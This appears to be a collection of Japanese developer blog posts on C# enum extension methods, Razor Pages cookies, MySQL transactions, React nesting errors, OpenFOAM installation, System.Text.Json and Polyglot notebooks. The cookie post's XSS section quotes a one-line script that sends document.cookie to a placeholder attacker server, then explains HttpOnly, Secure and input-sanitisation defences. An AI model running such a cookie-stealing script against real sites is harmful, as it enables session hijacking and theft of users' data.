投稿者: tomato-note

  • [C#]Enum型に拡張メソッドを実装できる

    はじめに

    Enum型に拡張メソッドを定義できると知ったので、まとめます。

    C#では、Enum型を使用して名前付き定数のセットを定義できます。これにより、コードの可読性と保守性が向上します。しかし、Enum型は静的であるため、直接その機能を拡張することはできません。ここで登場するのが「拡張メソッド」です。本記事では、Enum型に拡張メソッドを定義する方法と、そのメリットについて解説します。

    Enum型とは

    Enum型(列挙型)は、関連する定数の集合を定義するために使用されます。例えば、以下のように定義します:

    public enum Status
    {
        Active,
        Inactive,
        Suspended,
        Deleted
    }

    拡張メソッドとは

    拡張メソッドは、既存の型に対して新しいメソッドを追加するための機能です。クラスや構造体、インターフェースだけでなく、Enum型に対しても拡張メソッドを定義できます。拡張メソッドは通常、静的クラス内で静的メソッドとして定義されます。

    Enum型に拡張メソッドを定義する

    例えば、Status Enumに対して、各状態の説明を返す拡張メソッドを定義してみましょう。

    1. まず、静的クラスを定義します。
    2. 静的メソッドとして拡張メソッドを定義し、第1引数にthisキーワードを使って拡張する型を指定します。
    public static class StatusExtensions
    {
        public static string GetDescription(this Status status) => status switch
        {
            Status.Active => "The entity is active",
            Status.Inactive => "The entity is inactive",
            Status.Suspended => "The entity is suspended",
            Status.Deleted => "The entity is deleted",
            _ => "Unknown status"
        };
    }

    拡張メソッドを使用するメリット

    Enum型に拡張メソッドを定義することには以下のようなメリットがあります。

    1. コードの可読性向上:
      • Enumの値に対して直接的に操作を行うメソッドを提供することで、コードの可読性が向上します。上記の例では、GetDescriptionメソッドを使用することで、各Enum値の説明を簡単に取得できます。
    2. 再利用性の向上:
      • 拡張メソッドは一度定義すると、どこからでも簡単に利用できます。これにより、同じロジックを複数箇所で再利用することが容易になります。
    3. コードの分離:
      • Enum型自体の定義を変更することなく、追加の機能を外部に分離して実装できるため、コードの分離とモジュール化が促進されます。
    4. 保守性の向上:
      • 拡張メソッドを使用することで、Enumの機能拡張が容易になります。新しいEnum値が追加された場合でも、拡張メソッドを更新するだけで済むため、メンテナンスが容易です。

    静的クラスを使う場合との比較

    自分は、今まで静的クラスに定義していたため、無駄によく分からない静的クラスが定義されることになり、利用箇所でもこのクラスが登場するため、処理が見にくいなと感じていました。

    public static class StatusConverter
    {
        public static string GetDescription(Status status) => status switch
        {
            Status.Active => "The entity is active",
            Status.Inactive => "The entity is inactive",
            Status.Suspended => "The entity is suspended",
            Status.Deleted => "The entity is deleted",
            _ => "Unknown status"
        };
    }

    静的クラスを使う方法だと、

    var status = Status.Active;
    var description = StatusConverter.GetDescription(status);

    となりますが、拡張メソッドを使えば、以下のように謎の静的クラスStatusConverterが登場せずに済み、可読性、保守性が上がります。

    var status = Status.Active;
    var description = status.GetDescription();

    拡張メソッドのデメリット

    拡張メソッドのデメリットとして、よくどこでも定義できてしまうことが挙げられます。チームの合意の上で、どこに実装するかを決めるのが良いです。

    まとめ

    Enum型に拡張メソッドを定義することで、Enumに対する操作を簡素化し、コードの可読性と再利用性を向上させることができます。静的クラス内で拡張メソッドを定義するだけで、既存のEnum型に新しい機能を追加できるため、C#の強力な機能を活用して効率的なプログラミングが可能になります。これを機に、Enum型に拡張メソッドを定義して、あなたのプロジェクトに役立ててみてください。

  • C# Razor Pagesでクッキーを管理する方法

    はじめに

    このブログでは、C# Razor Pagesを使ったウェブ開発におけるクッキーの設定、取得、削除方法を詳しく説明します。クッキーはユーザーのブラウザに情報を保存するための重要なツールであり、サイトの使い勝手を向上させるために広く利用されています。

    クッキーとは?

    クッキーはサーバーからユーザーのブラウザに送信される小さなデータ片で、ユーザーがサイトを再訪した際にその情報をサーバーに送り返すことができます。これにより、ユーザー固有の設定やセッション情報を保持することが可能になります。

    クッキーの設定方法

    Razor Pagesでクッキーを設定する基本的な流れは以下の通りです。

    1.HttpContextの活用
    HttpContextResponseオブジェクトを通じてクッキーを追加します。

    2.CookieOptionsの設定
    クッキーの有効期限やセキュリティ設定を定義します。

    var cookieOptions = new CookieOptions {
        Expires = DateTime.Now.AddDays(1),
        HttpOnly = true,
        Secure = true
    };

    3.クッキーの追加
    Response.Cookies.Appendメソッドを使ってクッキーを追加します。

    Response.Cookies.Append("CookieName", "CookieValue", cookieOptions);

    クッキーの取得と削除

    クッキーの取得はRequest.Cookiesを使い、削除はResponse.Cookies.Deleteを使用します。

    // クッキーの取得
    string cookieValue = Request.Cookies["CookieName"];
    
    // クッキーの削除
    Response.Cookies.Delete("CookieName");

    実践的な使用例

    例えば、ユーザーの言語設定をクッキーに保存することで、サイト訪問ごとにその設定を読み込み、カスタマイズされたコンテンツを提供することができます。

    セキュリティの考慮事項

    クッキーはセキュリティ上のリスクも伴うため、適切なオプション設定が重要です。HttpOnlySecure属性を適切に使用して、クロスサイトスクリプティング(XSS)やマンインザミドル攻撃(MITM)から保護しましょう。

    クロスサイトスクリプティング(XSS)

    クッキーがXSS攻撃に利用される一般的なシナリオは、攻撃者がスクリプトを介してクッキーからユーザーのセッショントークンやその他の機密情報を抜き出し、それを外部のサーバーに送信するケースです。例えば、以下のJavaScriptスニペットは、クッキーの内容を盗むことができてしまいます。

    <script>document.location='http://攻撃者のサーバー/?cookie=' + document.cookie;</script>

    XSS攻撃からクッキーを守るための対策は以下の通りです。

    HttpOnlyフラグの使用: HttpOnlyフラグをクッキーに設定すると、JavaScriptを通じたクッキーのアクセスがブロックされます。これにより、もしXSS攻撃が発生しても、攻撃者はクッキーにアクセスできなくなります。

    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,
        Secure = true
    };

    入力の検証とサニタイズ: ユーザーからの入力を適切に検証し、悪意のあるスクリプトが実行されないようにサニタイズします。HTMLエンティティのエスケープや、信頼できるライブラリの使用が効果的です。

    マンインザミドル攻撃(MITM)

    マンインザミドル(MITM)攻撃は、通信の途中で攻撃者がデータを傍受、改ざん、または再送する形式のサイバー攻撃です。特にクッキーを使用するウェブアプリケーションにおいては、クッキーが攻撃者によって盗まれることで、セッションハイジャックや個人情報の漏洩などが起こる可能性があります。

    この攻撃は、主に通信が暗号化されていない場合に発生します。例えば、HTTPプロトコル(非SSL/TLS)を使用している場合、送信されるデータ(クッキー含む)は平文であり、ネットワーク上で容易に傍受されます。攻撃者はこの傍受したクッキーを使用して、被害者のアカウントにアクセスしたり、悪意ある行動を取ることが可能です。

    対策方法
    1. HTTPSの使用: すべてのページでHTTPSを使用することで、データを暗号化し、傍受や改ざんを防ぎます。
    2. セキュアフラグの設定: クッキーにセキュアフラグを設定することで、クッキーがHTTPSプロトコルを通じてのみ送信されるようになります。これにより、MITM攻撃によるクッキーの傍受を防ぎます。
    var cookieOptions = new CookieOptions {
        Secure = true
    };

    まとめ

    Razor Pagesでのクッキー管理は、セキュリティとユーザビリティのバランスを取りながら効果的に実行することが可能です。このブログを参考にして、より良いユーザー体験を提供するウェブアプリケーションの開発に役立ててください。

  • C#とMySQLでトランザクションを実現する方法

    導入

    データベーストランザクションは、一連の操作を一つの単位として扱い、全ての操作が完了するか、一つでも失敗した場合には全てを元に戻す(ロールバックする)ための仕組みです。これにより、データの整合性と安全性が保たれます。本記事では、C#の.NET8、EFCore8でMySQLデータベースを扱う際のトランザクションの基本的な使い方を解説します。

    環境設定

    .NET8SDKが必要です。インストールしていない場合は、下記からインストールしてください。

    .NET のダウンロード (Linux、macOS、Windows) (microsoft.com)

    続いて、プロジェクト作成後、下記のパッケージを追加します。

    dotnet add package Microsoft.EntityFrameworkCore
    dotnet add package MySql.Data.EntityFrameworkCore

    DbContextの設定

    DbContextを設定し、EF Coreがデータベース操作を行えるようにします。以下のコードを参考にしてください。

    今回は簡単のために接続文字列をDbContext に書いていますが、設定ファイル等から読み込めるようにしてください。

    using Microsoft.EntityFrameworkCore;
    
    public class MyDbContext : DbContext
    {
        public DbSet<Employee> Employees { get; set; }
    
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
        {
            optionsBuilder.UseMySQL("server=localhost;database=myDatabase;user=myUser;password=myPassword");
        }
    }
    
    public class Employee
    {
        public int Id { get; set; }
        public string Name { get; set; }
        public string Position { get; set; }
    }

    トランザクションの開始

    EF CoreのDatabaseプロパティを使用してトランザクションを開始し、管理します。

    using var context = new MyDbContext();
    using var transaction = context.Database.BeginTransaction();
    
    try
    {
        context.Employees.Add(new Employee { Name = "Jane Doe", Position = "Web Developer" });
        context.SaveChanges();
    
        transaction.Commit();
        Console.WriteLine("Transaction committed successfully.");
    }
    catch (Exception ex)
    {
        transaction.Rollback();
        Console.WriteLine($"An error occurred: {ex.Message}");
    }

    2行目でトランザクションを貼っています。

    6行目でDbContextに値を追加し、7行目で確定させます。

    9行目でトランザクションを完了させます。

    13行目で例外があった場合、トランザクションをロールバックさせます。context.SaveChages() 実行後でも、例外が発生すれば、ロールバックさせます。

    ベストプラクティス

    DbContext、トランザクションを使用する際には、その範囲を最小限にすることが推奨されます。また、エラーハンドリングを適切に行い、予期しない失敗からデータを保護することが重要です。

    まとめ

    MySql.Data.EntityFrameworkCoreを使用することで、EF Core 8とC#を用いたMySQLデータベース操作が容易になります。この記事が、より安全で効率的なデータベース管理の実現に役立つことを願っています。

  • JavaScriptとMySQLでトランザクションを実現する方法

    導入

    データベーストランザクションは、一連の操作を一つの単位として扱い、全ての操作が完了するか、一つでも失敗した場合には全てを元に戻す(ロールバックする)ための仕組みです。これにより、データの整合性と安全性が保たれます。本記事では、Node.js環境でMySQLデータベースを扱う際のトランザクションの基本的な使い方を解説します。

    環境設定

    まず、mysqlモジュールをプロジェクトにインストールする必要があります。Node.jsのプロジェクトルートで以下のコマンドを実行してください。

    npm install mysql

    データベース接続

    次に、MySQLデータベースへの接続を設定します。この例では、データベースの設定を含むcreateConnectionメソッドを使用しています。

    const mysql = require('mysql');
    
    const connection = mysql.createConnection({
      host: 'localhost',
      user: 'username',
      password: 'password',
      database: 'databaseName'
    });
    
    connection.connect(err => {
      if (err) throw err;
      console.log('データベースへの接続に成功しました!');
    });

    トランザクションの開始

    トランザクションを開始するには、beginTransactionメソッドを使用します。これにより、以降のクエリが一つのトランザクションとして扱われます。

    connection.beginTransaction(err => {
      if (err) throw err;
      // トランザクション開始後の処理
    });

    トランザクション内のクエリ実行

    トランザクション内で複数のクエリを実行します。各クエリが成功したことを確認しながら進めます。

    クエリが失敗した場合、ロールバックが行われます。

    クエリにある「?」には、左から順にデータ配列の中身が挿入されます。これによって、SQLインジェクション攻撃を防いでいます。

    const query1 = 'INSERT INTO table_name (column1) VALUES (?)';
    const data1 = ['value1'];
    
    connection.query(query1, data1, (err, results) => {
      if (err) {
        return connection.rollback(() => {
          throw err;
        });
      }
      
     const query2 = 'UPDATE table_name SET column2 = ? WHERE column1 = ?';
     const data2 = ['value2', 'value1'];
    
     connection.query(query2, data2, (err, results) => {
       if (err) {
         return connection.rollback(() => {
           throw err;
         });
       }
       // コミット処理へ
     });
    });

    トランザクションのコミットと終了

    全てのクエリが成功した場合、commitメソッドを呼び出してトランザクションをコミットします。

    connection.commit(err => {
      if (err) {
        return connection.rollback(() => {
          throw err;
        });
      }
      console.log('トランザクションのコミットに成功!');
    });

    まとめ

    このように、Node.jsとMySQLを使用してトランザクションを管理することで、データの整合性を確保しつつ効率的にデータベース操作を行うことができます。トランザクションの正しい扱い方を学ぶことは、任意のバックエンド開発者にとって重要なスキルの一つです。

  • ReactにおけるHTMLタグのネスティングエラーへの対処方法

    Web開発において、Reactはその直感的なコンポーネント構造と効率的な更新メカニズムで広く採用されています。しかし、Reactを使っているときに遭遇するかもしれない一般的な問題の一つに、HTMLタグのネスティングエラーがあります。自分のようなReact初心者は、ここで躓いてしまいました。。。

    問題の説明

    具体的なエラーメッセージは以下の通りです:

    validateDOMNesting(...): <div> cannot appear as a descendant of <p>.

    このメッセージは、HTMLの規則に違反して<div>タグが<p>タグの子として配置されていることを示しています。HTMLの仕様では、<p>タグはフロー・コンテンツのみを含むことができ、<div>タグのようなブロックレベルの要素を含むことはできません。

    問題の解決方法

    この問題を解決するためのステップは以下の通りです:

    1. コードの見直し: まず、エラーが発生している箇所を特定します。開発ツールのコンソールに表示される行番号やエラーメッセージを利用して、問題のあるコードを見つけ出しましょう。
    2. 構造の調整: <p>タグの中にある<div>タグを外に移動するか、<p>タグを<div>タグに置き換えます。適切なタグを使用することで、HTMLの構造規則を守ることができます。
    3. コードの再検証: 変更後、アプリケーションを再度実行して、問題が解決されているかを確認します。エラーメッセージが消えれば、問題は解決されています。

    結論

    Reactを使用する際は、HTMLの規則を理解し、正しいタグのネスティングを心掛けることが重要です。上記のステップに従うことで、タグのネスティングに関連する問題を効果的に解決し、より安定したWebアプリケーションを構築することができます。このようなエラーに直面した際は、冷静に対処し、一つ一つのタグの使用目的と制限を再確認することが役立ちます。

  • [OpenFOAM11]pitzDailySteadyのサンプルをやってみる

    openfoam11になってチュートリアルへのPathが変わったりして、色々と初学者にはつらい状況になっていますが、こちらのユーザーガイドは、openfoam11でも動作することを確認しました。

    OpenFOAM v12 User Guide (cfd.direct)

    場合によっては、ドキュメントが落ちてる過去バージョンのOpenFOAMをインストールした方が勉強が捗る可能性もあるかなーと思ったりしている今日この頃、一旦、自分はこのまま突き進みます。

    あと、この記事は、OpenFOAMをやったことがない人向けに作られていますことをご了承ください。

    余談が長くなりましたが、始めて行きます。

    インストール方法は前回の記事にまとめました。

    OpenFOAMのチュートリアルのソースコードは、$FOAM_TUTORIALS に入っていますが、元のコードは、/opt 上にあるので、実行時に権限がなくてエラーになったりします。

    $FOAM_TUTORIALS は、/opt/openfoam11/tutorials です。

    この中に様々なチュートリアルが入っています。

    公式でも推奨されているディレクトリを作成して、そこにコードをコピーして実行する方法を取ります。

    $FOAM_RUNは、/home/[user-name]/OpenFOAM/[user-name]-11/run です。

    mkdir -p $FOAM_RUN

    ここにpitzDailySteadyをコピーしてきて、実際に動かしていきます。

    前準備として、ディレクトリごとファイルをコピーします。コピー後にコピーしてきたディレクトリに移動してください。

    cd $FOAM_RUN
    cp -r $FOAM_TUTORIALS/incompressibleFluid/pitzDailySteady .
    cd pitzDailySteady

    余談ですが、OpenFOAM11以前だと、$FOAM_TUTORIALS/incompressible にこのチュートリアルが配置されています。。どこにあるねんって探し回りました。

    上記のディレクトリで下記コマンドを順に実行すれば、ParaViewが開きます。

    blockMesh
    foamRun
    paraFoam

    ※具体的に何をやっているかは、まだ勉強中なので、割愛させてください。すみません。

    こんな画面が出てくるので、「Apply」をクリックします。

    下記のようにモデルが表示されれば成功です!

    色々触って遊んでみてください。

    計算結果の速度分布を出したり、圧力分布を出したりできます。

    この記事では、どのようにOpenFOAMを実行していくのかの大まかな流れを見ていきました。参考になれば幸いです。

    もう少し勉強して、何をやっているのかまで解説出来たらなと考えてます。

  • OpenFOAMをWSL2にインストールする

    要約

    WSL2のUbuntuを用意して、その中でOpenFOAMのUbuntuインストール手順で進めていけば、成功します。

    WSL2をインストール

    詳細は下記を確認してください。

    WSL のインストール | Microsoft Learn

    前までは色々とやることがありましたが、管理者として実行したPowerShellを開いて、下記のコマンドでインストールできるようになりました。

    wsl --install

    一応、インストールできたか確認。

    wsl --version

    こんな感じの内容が出てくれば成功です。

    WSL バージョン: 2.2.4.0
    カーネル バージョン: 5.15.153.1-2
    WSLg バージョン: 1.0.61
    MSRDC バージョン: 1.2.5326
    Direct3D バージョン: 1.611.1-81528511
    DXCore バージョン: 10.0.26091.1-240325-1447.ge-release
    Windows バージョン: 10.0.22631.3880

    以上です。めっちゃ簡単!
    次にGUI付きのUbuntuをMicrosoft Storeからインストールします。

    (GUI付きじゃないと後で出てくるソフトウェアで起動できないものが出てきます。そもそもCUI版をインストールできるのか調べてないですが。。。)

    Storeでubuntuと検索して出てきたものをインストールします。

    自分は、Ubuntu 22.04.3LTSをインストールしました。バージョンによる差異は、検証していないので、分からないです。

    インストール後、Ubuntuのコンソールからユーザー設定をしてください。

    OpenFOAMをインストール

    詳細は下記を確認してください。

    Download v11 | Ubuntu | OpenFOAM

    OpenFOAMとParaViewをコマンドだけでインストールすることができます。

    aptにリポジトリを登録します。

    sudo sh -c "wget -O - https://dl.openfoam.org/gpg.key > /etc/apt/trusted.gpg.d/openfoam.asc"
    sudo add-apt-repository http://dl.openfoam.org/ubuntu

    この状態でaptをアップデートします。

    sudo apt update

    OpenFOAMとParaViewをインストールします。

    sudo apt -y install openfoam11

    openfoam11をインストールすれば、ParaViewも一緒にインストールされます。

    続いて、.bashrcに設定を書き込みます。

    (好きなエディタで編集してください)

    vi ~/.bashrc

    bashrcの前に「.」は、必須です。

    .bashrcが何なのかはここでは、深く解説しませんが、ここでは、Ubuntuの設定ファイルと思っておけば大丈夫です。

    .bashrcの中に下記を追加します。

    . /opt/openfoam11/etc/bashrc

    保存して、Ubuntuを再起動するか、設定反映を行うコマンドを実行します。

    source ~/.bashrc

    helpオプションを実行して、インストールできてるか確認します。

    foamRun -help

    こんな感じでオプションの説明が出てくればOKです。

    ここまででインストールは完了です。

  • [C#, .NET8] System.Text.Jsonの使い方

    普通のクラスをJSONにシリアライズして、その後、デシリアライズしてみましょう。

    使うクラスはこんな感じで適当なものを用意しました。

    public record Person
    {
        public int Id { get; set; }
        public string Name { get; set; }
    }
    
    var p1 = new Person{ Id = 1, Name="Taro" };
    var p2 = new Person{ Id = 2, Name="Jiro" };

    PersonクラスにIdNameだけを持たせておいて、これを操作していきます。

    次の例では、単にJSONにシリアライズして、その後、そのまま文字列をデシリアライズするというものです。

    オブジェクト単体で

    using System.Text.Json;
    
    var jsonP1 = JsonSerializer.Serialize<Person>(p1);
    Console.WriteLine(jsonP1);
    var p3 = JsonSerializer.Deserialize<Person>(jsonP1);
    Console.WriteLine($"person:{p3.Id}, {p3.Name}");
    {"Id":1,"Name":"Taro"}
    person:1, Taro

    特に何も指定が無ければ、JSONの属性名は、C#と同じものがつきます。

    JSONなので、Javascript的に先頭を小文字にしたい場合があると思います。その場合は、System.Text.Json.Serialization を読み込んであげて、各プロパティにJsonPropertyName属性を付けます。引数に文字列を入れれば、任意のプロパティ名を付けられます。

    using System.Text.Json.Serialization;
    public record Person
    {
        [JsonPropertyName("id")]
        public int Id { get; set; }
        [JsonPropertyName("name")]
        public string Name { get; set; }
    }
    
    var p4 = new Person{ Id = 4, Name="Shiro" };
    
    var jsonP4 = JsonSerializer.Serialize<Person>(p4);
    Console.WriteLine(jsonP4);
    var p5 = JsonSerializer.Deserialize<Person>(jsonP4);
    Console.WriteLine($"person:{p5.Id}, {p5.Name}");
    {"id":4,"name":"Shiro"}
    person:4, Shiro

    配列で

    var jsonPArray = JsonSerializer.Serialize<Person[]>([p1,p2]);
    Console.WriteLine(jsonPArray);
    var pArray = JsonSerializer.Deserialize<Person[]>(jsonPArray);
    foreach(var p in pArray)
    {
        Console.WriteLine($"person:{p.Id}, {p.Name}");
    }
    [{"Id":1,"Name":"Taro"},{"Id":2,"Name":"Jiro"}]
    person:1, Taro
    person:2, Jiro

    配列の場合も同様です。配列を入れたら、配列のJSONが返ってきて、デシリアライズもできます。

    オブジェクトで

    もちろん入れ子構造になっている場合もきちんとシリアライズして、デシリアライズできます。

    下記の例では、オブジェクトの中に配列を持っている場合を示しています。

    public record Group
    {
        public int GroupId { get; set; }
        public Person[] People { get; set; }
    }
    
    var group = new Group{ GroupId=1, People = [p1, p2] };
    
    var jsonG = JsonSerializer.Serialize<Group>(group);
    Console.WriteLine(jsonG);
    var g = JsonSerializer.Deserialize<Group>(jsonG);
    Console.WriteLine($"group:{g.GroupId}");
    foreach(var p in g.People)
    {
        Console.WriteLine($"person:{p.Id}, {p.Name}");
    }
    {"GroupId":1,"People":[{"Id":1,"Name":"Taro"},{"Id":2,"Name":"Jiro"}]}
    group:1
    person:1, Taro
    person:2, Jiro

    以上です。

  • [C#, .NET8] PolyglotでC#を使いたい

    詳細は下記記事を参照してください。

    Polyglot Programming with Notebooks in Visual Studio Code

    C#で作ってるものが動くか簡単に確認したい

    Polyglotがあるじゃない!

    導入

    Polyglotって?

    ノートブックを作成して、その上でC#等を動かせます。

    C#をビルドなしに対話型で動作検証できるので、個人的には、プロトタイプ作成等で重宝しています。

    元々はオープンソースプロジェクトJupyterによって普及し、Pythonデータサイエンスで事実上のツールとなり、新しいプログラミング言語を教えたり学んだりするためや、素早いプロトタイピングにも優れたリソースとなっています。(翻訳BY ChatGPT4)

    インストール

    というわけで、インストールしていきましょう。

    必要なものは二つです。

    • VSCodeにPolyglot NoteBookの拡張機能
    • .NET7以降のSDK

    Polyglot Notebooks – Visual Studio Marketplace

    .NET のダウンロード (Linux、macOS、Windows) (microsoft.com)

    (記事公開時点では、.NET8がLTSとなっていますので、以降は、.NET8での確認となります)

    使い方

    ipynb拡張子のファイルを作成して、後はC#コードを書くだけです。

    実際のVSCodeの画面がこちら

    こんな感じで右三角➤をクリックすれば、ビルドなしに”hogehoge”を出力することができます。

    NoteBook上にクラス定義もできますし、ライブラリの読み込みもできます。

    クラス定義

    クラス定義できます

    ライブラリ読み込み

    #r “nuget: [ライブラリ名]”でライブラリを読み込み出来ます。

    以上です。

    ちなみにBogusは、JavascriptライブラリのFakerのようなもので、ダミーデータを作るライブラリです。